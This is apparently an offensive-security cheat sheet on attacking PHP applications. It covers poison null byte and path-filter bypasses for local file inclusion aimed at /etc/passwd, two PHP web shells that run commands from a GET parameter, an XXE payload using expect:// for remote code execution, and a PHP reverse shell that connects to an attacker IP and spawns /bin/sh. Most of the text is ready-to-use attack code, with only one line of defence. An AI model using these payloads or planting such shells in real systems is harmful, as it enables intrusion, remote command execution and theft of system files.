The poison null byte

Poison null byte in PHP

String parsing for PHP < 5.3.4 is susceptible to the poison null byte.

The best way to defend against these attacks is to simply sanitize strings by explicitly removing any null bytes they contain.

$sanitized_string = str_replace(chr(0), '', $original_string);  
Link to original

Local file inclusion

PHP local file inclusion attacks

For PHP < 5.3.4, you can use the poison null byte to defeat simple path filters or situations where the developer is appending some suffix to user input to try to prevent local file inclusion attacks.

If the poison null byte doesn’t work, another trick relies on the fact that for some bizarre reason PHP allows files to be referenced with . notation just like directories. In other words, /etc/passwd/. will return the contents of /etc/passwd!

Representing ../ as ....// can bypass filters that replace ../, as PHP search-and-replace only does a single pass through a string (it should be obvious how to extend this if a developer tries to just run a search and replace twice).

RCE

<?php
	echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";
?>

A slightly spruced-up version of this is available on Kali Linux as /usr/share/webshells/php/simple-backdoor.php.

On space-constrained systems, you can compact this down to just 15 bytes:

<?=`$_GET[1]`?>
Link to original

RCE via XXE

RCE via XXE in PHP

If you’re dealing with PHP, and if the PHP expect module is loaded, and if XML inputs aren’t properly sanitized, then defining a SYSTEM entity with the value of expect://$COMMAND will get you RCE via XXE.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxerce SYSTEM "expect://id">]>
<root>&xxerce;</root>

Don’t expect to run into this often however, as this combination of factors is pretty rare.

Link to original

Reverse shell

Check out /usr/share/webshells/php/php-reverse-shell.php on Kali Linux. Note that this only works on UNIX-like systems.

Alternately, a very simple shell (suitable for running at the command line):

$attacker_ip = "10.0.0.1";
$attacker_port = 1234;
 
$sock = fsockopen($attacker_ip, $attacker_port);
 
exec("/bin/sh -i <&3 >&3 2>&3");

Catch it with netcat or socat.